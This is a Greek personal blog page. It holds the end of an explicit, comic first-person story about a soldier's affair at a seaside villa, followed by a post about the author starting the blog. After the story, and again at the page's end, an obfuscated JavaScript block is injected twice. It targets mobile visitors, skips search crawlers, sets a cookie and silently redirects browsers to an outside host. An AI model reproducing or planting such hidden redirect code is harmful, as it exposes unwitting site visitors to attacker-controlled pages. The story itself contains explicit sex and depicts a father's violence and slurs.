      Μου ξεφεύγει και παίζουμε για λίγο κυνηγητό γύρω από το τραπέζι. «Πολύ δεν βιάζεσαι;» μου λέει Κάθομαι δήθεν κουρασμένος και πιάνω το κίτρινο καλαμάκι και φέρνω μια γουλιά καφέ με ουίσκι στο στόμα μου. Δεν έχει πιθανότητες να γλιτώσει σκέφτομαι. Από τη στιγμή που με διάλεξε η Ραχήλ νομίζω πως εμπιστεύεται το γούστο της. Ας πούμε καμία χαζομάρα μέχρι να πέσουν τα προσχήματα.     

      Να πούμε για σπουδές. Είναι στην Ιταλία , στο Μιλάνο, ταξιδεύει με το πλοίο από Πάτρα συνήθως, σπάνια παίρνει το αεροπλάνο, όταν είναι Αθήνα.  Της αρέσει να έρχεται εδώ στη βίλα του πατέρα της και να κάθεται με τις ώρες ν κοιτάζει τα κύματα , να ζωγραφίζει. Σπουδάζει εσωτερική διακόσμηση. Εδώ θα μπορούσα να της βάλω ένα πολύ δύσκολο πρόβλημα : να μου φτιάξει τον εσωτερικό μου κόσμο. Αλλά δεν μιλάω , αφήνω τη συζήτηση να κυλήσει.            …Και κυλάει  και μου λέει πως ζωγραφίζει κίτρινα τριαντάφυλλα και με πηγαίνει στο δωμάτιό της και βλέπω πίνακες με κίτρινα τριαντάφυλλα και με παρακολουθεί να τους κοιτάζω και πλησιάζω τον πιο εντυπωσιακό  και πλησιάζει και εκείνη πίσω μου και νοιώθω την αναπνοή της κοντά μου και γυρίζω ξαφνικά και τη φιλάω. Είναι τόσο ζεστή και είμαι τόσο παγωμένος από το ντους . Αισθάνομαι να καίγομαι στην επαφή με το δέρμα της και κείνη ανατριχιάζει .       

     Φιλάω τα χείλη της και σκέφτομαι πως τώρα πρέπει να κάνω ότι μπορώ για να αποφύγω μία πρόωρη εκσπερμάτωση. Ξαπλώνουμε. Δεν μπορείτε να φανταστείτε τι συμβαίνει τώρα. Σκέφτομαι απέραντα στρατιωτικά νεκροταφεία , φέρετρα σκεπασμένα με τη γαλανόλευκη, αγήματα να αποδίδουν τιμές στους πεσόντες, βλοσυρούς στρατιώτες να ρίχνουν στον αέρα , σκέφτομαι τον άγνωστο στρατιώτη στο Σύνταγμα. Και … πετυχαίνει , πετυχαίνει σας λέω. Έχω να κάνω σεξ (τι σεξ ; εσείς ξέρετε τι…. ) 20 μέρες και είμαι τόσο «ευάλωτος» σ’ αυτό το θέμα . Τελικά καταφέρνω να «αντέξω» αυτό το δεκάλεπτο που είναι το μίνιμουμ για να αφήσει αναμνήσεις.            Το ξέρω , το ξέρω πως μπορεί εκείνη να έβλεπε ότι τριγυρίζει σε ένα κήπο με κίτρινα τριαντάφυλλα, όμως εγώ έχω κάποιες αρχές. Ο άντρας είπαμε …δεν θα τα ξαναπώ γιατί θα με βαρεθείτε. Συνεχίζουμε τώρα με χάδια και φιλάκια και εξερευνήσεις στα κορμιά μας . Και ψάχνω να βρω που γαργαλιέται , τι την φτιάχνει και εκείνη αφήνει αυτά τα γελάκια και τα «μη» και «σταμάτα» και τότε ο φίλος μου , ο καλύτερός μου φίλος , που ξέρει πόοσο τον σέβομαι , «ξανασηκώνεται» .Και τη δεύτερη φορά έχω φύγει από τα αγήματα  και τα θύματα του πολέμου  και μπαίνω και εγώ στο κίτρινο κήπο της και κάνω ότι μπορώ για να μεθύσω από το χρώμα και το άρωμα που έχουν τα κίτρινα τριαντάφυλλα. της. Κατάφερα επί τέλους να νικήσω αυτή την υποχθόνια θεότητα της μαλακίας.       

       Αν ήμουν ο Ηρακλής θα είχα καταφέρει έναν από τους άθλους που μου ανέθεσε ο Δίας.    

          Κοιμόμαστε .  Κοιμόμαστε βαθιά. Ξέρετε πως κοιμούνται οι στρατιώτες; Τόσο βαθιά που μόνο πυροβολισμοί τους ξυπνάνε.     

          Μόνο που εγώ δεν είμαι ένας συνηθισμένος στρατιώτης. Ανοίγω τα μάτια με μία τρομερή αίσθηση ανησυχίας. Δεν ακούω τίποτε. Σηκώνομαι σιγά , περπατάω στις μύτες. Κοιτάζω έξω από το παράθυρο. Ο Στάθης. Φαίνεται κάτι να κοιτάζει στο «ματρά». Νομίζω πως θα δει το λουκάνικο μου. Ένας συναγερμός χτυπάει μέσα μου. Να μιλήσω πρώτα στη Ραχήλ. Πηγαίνω στο δωμάτιό της. Ανοίγω και …κοιμάται γυμνή πάνω σε ωχρά σεντόνια  με το κίτρινο μπουρνούζι της σε μια καρέκλα. Αγαλμάτινο σώμα , «τα κανόνια» με τις «κάνες» στραμμένες εναντίον μου και για μια στιγμή μου κόβεται η αναπνοή. Και πώς να την ξυπνήσω τώρα ; Και αν με παρεξηγήσει; Τελικά την πιάνω απαλά από τον αστράγαλο και μόλις ανοίξει τα μάτια και με δει έχω το δάχτυλο στα χείλη και της ψιθυρίζω ότι ο Στάθης είναι εδώ. Και δείχνω προς τον κήπο.      

       Ευτυχώς δεν έβαλε τις φωνές ,ούτε έκανε καμία κίνηση να κρύψει τη γύμνια της. Εγώ έρχομαι στη Σίσυ, κλειδώνω και την ξυπνάω. Απλώνει το χέρι να με αγκαλιάσει και της λέω ψιθυριστά ότι ο πατέρας της ετοιμάζεται να μπει στο σπίτι. Σηκώνεται αργά, χωρίς άγχος , χασμουριέται και νομίζω πως της έχει αδυναμία και δεν ενοχλείται από την ερωτική της ζωή.  

           Ο τύπος μπαίνει στο σπίτι και έρχεται κατευθείαν στο δωμάτιό μας. Δοκιμάζει την πόρτα. «Σίσυ άνοιξε.» «Τι έπαθες πατέρα ; » τον ρωτάει. «δεν πιστεύω να είναι εκεί μέσα το κολοφάνταρο;» Η Σίσυ με κοιτάζει με έκπληξη. Τι να πω εγώ τώρα. «Άνοιξε» φωνάζει . «Περίμενε να ντυθώ» του λέει. «Δεν ξέρω τι έπαθε » μου λέει ψιθυριστά. Εν τω μεταξύ βγαίνει από το δωμάτιό της η Ραχήλ με το κίτρινο μπουρνούζι και τον ρωτάει τι έπαθε. «Τι έπαθα; Είναι εδώ αυτός και σας πήδηξε και τις δύο. Πουτάνα , εσύ φταις εσύ τον έφερες , τσατσά . Αυτό είσαι μια τσατσά , που έφερε άντρα στη κόρη μου.» «Άνοιξε Σίσυ» Κοιταζόμαστε με τη Σίσυ. Σκέφτομαι να βγω από το παράθυρο και να αρχίσω να κάνω βόλτες στο κήπο με τα κίτρινα τριαντάφυλλα ,μέχρι να ξεκαθαρίσει η κατάσταση. Και τότε η Σίσυ με αιφνιδιάζει και πηγαίνει και ανοίγει την πόρτα.  

                       «Θα σε καθάριζα με τα ίδια μου τα χέρια» μου λέει. Που έμπλεξα ρε γαμώτο. Εκεί που πήγαιναν όλα καλά , πως στράβωσε έτσι το πράγμα; Άντε να δούμε τι θα γίνει ; Θα παλέψουμε πάλι μου φαίνεται. «Θα σου ξερίζωνα τα παπάρια. Είσαι τυχερός.» μου λέει. Και εσύ είσαι τυχερός λέω και  εγώ στο πουλί μου. Ασυναίσθητα τον καθησυχάζω  με το χέρι μου μέσα από το μπουρνούζι.   « Επειδή είναι η κόρη μου εδώ τη γλίτωσες.  Όμως θα καθίσουμε ήσυχα – ήσυχα στην τραπεζαρία και θα της  αποδείξω …» και στρέφεται προς τη Σίσυ «….ότι σας πήδηξε και τις δύο ενώ κοιμόσουν» « Τι λες βρε ηλίθιε»  του φωνάζει η Ραχήλ. «Τι λες ρε ανώμαλε; Νομίζεις ότι όλοι είναι σαν εσένα;» «Σκάσε γαμώ τη πουτάνα σου μη σου μαυρίσω και το άλλο μάτι»      

    «Καθίστε , καθίστε παρακαλώ…» μας λέει ειρωνικά και κάθεται πρώτος στην τραπεζαρία. Καθόμαστε και οι τρεις με τα κίτρινα μπουρνούζια , σαν τρία καναρινάκια με ένα μπούφο στη μέση . «Και πρώτον ποιος κλείδωσε την πόρτα από μέσα Σίσυενώ εσύ δεν κλειδώνεις ποτέ;» Η Σίσυ με κοιτάζει με απορία και εγώ ασυναίσθητα κοιτάζω τη Ραχήλ. Όλοι πιάνουν αυτό το βλέμμα μου και το μικρόβιο της αμφιβολίας κολλάει στο μυαλό της Σίσυς. Την έχω χάσει. Σας το λέω εγώ που έχω εμπειρία. Ο άτιμος κατάφερε με μία φράση να μας παγιδέψει. «Καλά εσείς φοράτε μπουρνούζι , αυτή εδώ γιατί είναι γυμνή ; » λέει και αρπάζει απότομα το μπουρνούζι τη Ραχήλ και την αφήνει γυμνή μπροστά μας. «Ηλίθιε , μαλάκα » του φωνάζει αυτή και προσπαθεί να ξαναπάρει το ρούχο. «Και αυτά τα σημάδια από τι είναι ;»λέει «Φιλάκια και ρουφήγματα; »  «Αυτά μου τα ’κανες εσύ το πρωί ηλίθιε, με χτύπησες, άνανδρε». Όμως η Σίσυ έχει το άρρωστο βλέμμα γυναίκας που υποφέρει από το μικρόβιο της αμφιβολίας. Κοιτάζει τη Ραχήλ σκεφτική , με παγωμένο βλέμμα. «Σίσυ , δεν είναι δυνατόν »της λέει εκείνη , «δεν είναι δυνατόν να πιστέψεις τις φαντασιώσεις του ;» Η Σίσυ κοιτάζει παγωμένα. «Σίσυ δεν έγινε τίποτε » λέω μουδιασμένα. «Σίσυ»  της λέει η Ραχήλ , εσύ ήθελες να έρθουμε εδώ , εγώ σου είπα να πάμε κατευθείαν Αθήνα.»     

        «Μας αφήνετε για λίγο μόνους ; « λέει η Σίσυ. Η Ραχήλ πηγαίνει στο δωμάτιο της και ο μαλάκας στο μπάνιο. «Νομίζω πως βιαστήκαμε…» λέει « ήμουν σίγουρη πως παρά τη θέληση μου τα πράγματα προχώρησαν γρήγορα. Δεν είναι η πρώτη μου φορά. Φταίω και εγώ. Όταν σας είδα ήξερα πως τη φαντασιώνεσαι. Δοκίμασα να σε αρπάξω από τα χέρια της. Έτσι για να τεστάρω τη γυναικεία μου ματαιοδοξία. Τη θηλυκότητα μου.» «Μα αφού δεν έγινε τίποτε » είπα αγχωμένα « …μόνο πήγα και την ξύπνησα για να αντιμετωπίσει τον πατέρα σου». Εδώ έκανα τη μεγάλη γκάφα. «Πήγες στο δωμάτιο της λοιπόν;»  «Άσε με να σου εξηγήσω » λέω. Με παρατάει και πηγαίνει  να ντυθεί. Κάθομαι μόνος μου στο τραπέζι. Ντύνεται μόνη της  . Πηγαίνω να της μιλήσω. Έχει κλειδώσει . Κάθομαι με το κίτρινο μπουρνούζι μου και δοκιμάζω τον μισοτελειωμένο καφέ μου .  

            Βγαίνει το αρχιδάκι από το μπάνιο. Με κοιτάζει. « Η ζωή δεν είναι εύκολη φίλε» μου λέει ειρωνικά . Δεν απαντάω. Σηκώνομαι γιατί δεν αντέχω τους αποχαιρετισμούς και παίρνω τα κλειδιά  από το ματρά. Βγαίνω . Ανοίγω το αυτοκίνητο. Βγάζω το λουκάνικο. Βγάζω την πιο βρώμικη φόρμα εργασίας και τη φοράω. Φοράω και άρβυλα και όλα εκτός από πηλίκιο. Ρίχνω το λουκάνικο στη πλάτη και φεύγω με τα πόδια.  

         Είναι απόγευμα. Περπατάω προς την πόλη. Πρώτη φορά έρχομαι στο Αίγιο. Μου ’ρχεται στο μυαλό (καλά τώρα θα σας στείλω ) ποιος λέτε; Ο Ρουβάς !! «…και συ μου λες , γνωριμίες πολλές …  Να μα αγαπάς … στη ζωή μου …» Μουρμουρίζω Ρουβά και περπατάω. Δοκιμάζω το κινητό. Καλή λήψη έχω. Τηλεφωνώ. Μόλις το σηκώσουν λέω. «Ντάντι είμαι εδώ στο Αίγιο, έχω μπλέξει και δεν έχω μία» «Πάρε ένα ταξί να σε φέρει σπίτι , εδώ θα είμαστε.» λέει. Ευτυχώς που είναι καθημερινή σκέφτομαι και δεν θα βγούνε . Θα σταματήσω ένα ταξί να με πάει Αθήνα στο Ν. Ψυχικό. Να δούμε πότε θα φθάσω μέσα στο Αίγιο με τα πόδια.    

            Πρώτα με προσπερνάει η μπε εμ βε του Στάθη. Το μωρό μου είναι μέσα και νομίζω ότι κλαίει. Σηκώνω το χέρι ασυναίσθητα αλλά δεν θα σταματήσει.             Σε λίγο με φθάνει η Ραχήλ. Σταματάει. Ανοίγω την πόρτα κουρασμένα. «Που πας ; » ρωτάει. «Αθήνα , μήπως μπορείτε να με πάρετε;» Κάθομαι και ξεκινάει. «Είμαι η Ραχήλ » μου λέει. «Στρατιώτης πεζικού Αντώνιος Καράς» λέω. «Νιώθω πολύ άσχημα για ότι έγινε » μουρμουρίζει. «Την τούμπαρε ο πατέρας της » είπα. «Είναι αδίστακτος» ξαναείπα. «Η εμπειρία στο καζίνο , τόσα χρόνια βλέπεις , τον δίδαξε πολλά, αλλά αυτό τον κατέστρεψε κιόλας »λέει η Ραχήλ.      

          Χτυπάει το κινητό μου: Το σηκώνω . «Σκατιάρη  που είσαι; Εδώ μάθαμε ότι πήρες άδεια ,που είσαι μωρό μου; » «Στο δρόμο έρχομαι» «Θα σε δούμε απόψε; » «Έρχομαι με οτοστόπ, αν προλάβω , μπορεί» «Δεν πιστεύω να βρήκες γυναίκα ; λέγε σκατιάρη , δεν βρήκες γυναίκα και μας το κρύβεις;» Το κλείνω. Ξαναχτυπάει. «Σκατιάρη αν είσαι με γυναίκα και ντρέπεσαι να το πεις είσαι προδότης» Το ξανακλείνω.           

   Η διαδρομή κυλάει μέσα στη σιωπή. Προσπαθώ να μουρμουρίσω πάλι Ρουβά « …και συ μου λες γνωριμίες πολλές ….» αλλά αυτό δεν είναι μπαλάντα .  Θα ήθελα κάτι πιο μελαγχολικό για τη θλίψη μου.  Μου κάνει μία αναπάντητη και της κάνω και εγώ. Τώρα ξέρουμε τα κινητά μας. Πριν βγω από το αυτοκίνητο με φιλάει τρυφερά στο στόμα ( όχι γλώσσες και μαλακίες) και μου λέει με αποστροφή « Τόση ώρα στο δρόμο ξέχασα να σου πω πόσο βρωμάς μ’ αυτά τα ρούχα.»           

Κατεβαίνω. Το βράδυ βγήκα με τους σκατιάρηδες. Ποτά , αυτοκίνητα , κλαμπ και ες εμ ες με βιντεάκια  αργά το πρωί.(Αλλά ποιος ασχολείται τώρα μ’ αυτά) Αυτή η βόλτα με το «ματρά» είναι καρφωμένη στο μυαλό μου.    

          Την Σίσυ δεν την ξαναείδα. Πέρασαν 4 χρόνια . Η Ραχήλ με πήρε μια μέρα να βρεθούμε για καφέ. Συναντηθήκαμε στη Βουκουρεστίου. «Κλεμέντε 8» . Της έχω μείνει απωθημένο έλεγε. Το ίδιο βράδυ σπίτι της ασχοληθήκαμε με το «απωθημένο» της. Η Ραχήλ ξέρει τι θα πει σεξ. Μια γυναίκα ώριμη χωρίς αναστολές , που σε κοιτάζει στα μάτια . Δεν θα κάνω πιο λεπτομερείς περιγραφές εδώ.    

        Από τότε βρεθήκαμε μερικές φορές ακόμα. Τα «απωθημένα» σας πληροφορώ ότι θέλουν πολλή δουλειά.   

          Αυτές τις μέρες σκέφτομαι να αγοράσω ένα «ματρά», τι λέτε και σεις ; Πως σας φαίνεται η ιδέα μου;  var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Μαρτίου 21, 2007

ΕΓΩ…Εγώ…εγώ…εγώ…εγώωωωωωωωωωωω

Filed under: Uncategorized — thelastrealanwnymous @ 10 :30 πμ

       Μπήκα πριν λίγο καιρό στα μπλογκ και αφού τα περιεργάστηκα , άρχισα να αφήνω διάφορα ανώνυμα μηνύματα στα σχόλια. Εξυπνάδες , υποδείξεις, προκλήσεις, λάθη , ειρωνείες και ότι άλλη έμπνευση είχα τότε.    

   Κάποιοι μου πέταξαν την ιδέα να κάνω και εγώ ένα μπλογκ .Σιγά τώρα πως θα κάνω ένα μπλογκ. Είχα και το όνομα έτοιμο. «Ανώνυμος ». J  «Δι λαστ ριαλ ανωνυμους» για την ακρίβεια.        

  Ανήκω σε μία παρέα πολύ «έξυπνων» ανθρώπων. (ακόμα και να μην είμαστε το υποστηρίζουμε με πάθος) . «Εγώ θα σας πω τι έγινε.» «Όχι εγώ θα σας πω. Πηγαίνει η Δρούζα στο σπίτι της ηλικιωμένης και έλειπε ο άντρας της…» «Ποια Δρούζα ρε , το συνεργείο από το κανάλι πήγε : Βγήκε η Δρούζα το πρωί από το σπίτι και πήγε στη γριά; Δεν είσαι καλά. Το κανάλι την έστειλε με κάμερες με ηχολήπτες με όλους τους διαόλους. Πώς γίνονται αυτά νομίζεις; Έτσι γίνονται οι εκπομπές;»    

    Είμαστε όλοι πολύ έξυπνοι και ξέρουμε τα πάντα. (αυτό που είδατε πριν ήταν ένα δείγμα των τηλεοπτικών μας αναλύσεων)     Εγώ έφτιαξα το μπλογκ χωρίς να τους πω τίποτε. (…γιατί ξέρετε πόσες υποδείξεις και εξυπνάδες θα άκουγα) Και τώρα …έχω μπλέξει εδώ . Πούλησα πολύ μούρη στα σχόλια σαν ανώνυμος , έκανα πολύ τον έξυπνο (από κεκτημένη ταχύτητα όλα αυτά ) και τώρα ανεβάζω μόνο παλιά κείμενα και σκέψεις και δεν μπορώ να κάνω ούτε μια λίστα με αγαπημένα μπλογκς.      Αυτά ως εδώ .  

     Το μεγάλο «χαστούκι» όμως , ήταν ο τρόπος που οι «άγνωστοι» μπλόγκερς- ακόμα κι αυτοί που «ενόχλησα» με τα σχόλιά μου- με καλωσόρισαν και μου έδειξαν τρόπους να λύσω διάφορα προβλήματα. Αυτό με αιφνιδίασε και μου δημιούργησε την αίσθηση μιας «άλλης παρέας» εδώ μέσα. Ήρθατε μου είπατε τις σκέψεις σας ,με βοηθήσατε στις γκάφες μου και βλέπω και συνέχεια.    

  Τώρα προβληματίζομαι … σκέφτομαι… ξανασκέφτομαι ….          Τελικά μετά από αρκετή σκέψη και πολλές επαφές στα μπλοκάκια θα πω  ότι ,δεν είναι όλοι οι μπλόκερς τόσο μοναχικοί όσο ο Ντενίρο στον «ταξιτζή» ,δεν είναι τόσο χαζοί όσο « ο ηλίθιος και  ο πανηλίθιος» , δεν είναι τόσο ευαίσθητοι όσο τα παιδιά στο «κλαμπ των χαμένων ποιητών » , δεν είναι τόσο φωνακλάδες όσο οι ηθοποιοί του «σπιρτόκουτου» , δεν είναι τόσο γενναίοι όσο « ο τελευταίος των μοϊκανών », δεν είναι μουγκοί όσο η πιανίστα στα «μαθήματα πιάνου » , δεν είναι τόσο δραματικοί όσο ο νίκολας γκέιτς στο «εγκαταλείποντας το λας βέγκας» … ωχ τι έκανα τώρα είπα 7 ταινίες χωρίς να το καταλάβω και χωρίς να μου το ζητήσει κανείς σας.   

   Τέλος πάντων και ανακάλυψα επίσης ότι και εγώ δεν είμαι τόσο έξυπνος όσο νόμιζα, δεν έχω τόσο χιούμορ όσο κάποιοι στην παρέα μου αλλά και ακόμα περισσότεροι εδώ μέσα , είμαι ίσως ο πιο άσχετος στην πληροφορική  , είμαι ο μόνος ίσως που μετά από δύο «σεμινάρια» στους ανώνυμους αλκοολικούς κατάφερα να το κόψω, και ο εντελώς απελπισμένος που πούλησε το λάπτοπ του Αγίου Βαλεντίνου για να στείλω μια …. ανθοδέσμη.     

    ….και έφαγα και χυλόπιτα        

    250 Ευρώ τα λουλούδια        

    ωχ τι έκανα πάλι ;       

     σας είπα και 5 χαρακτηριστικά μου χωρίς να το ζητήσετε .

 Παιδιά νομίζω πως έχω αρχίσει να κολλάω την ασθένεια σας εδώ μέσα και φοβάμαι πολύ πως γίνομαι ένας από σας. Jvar 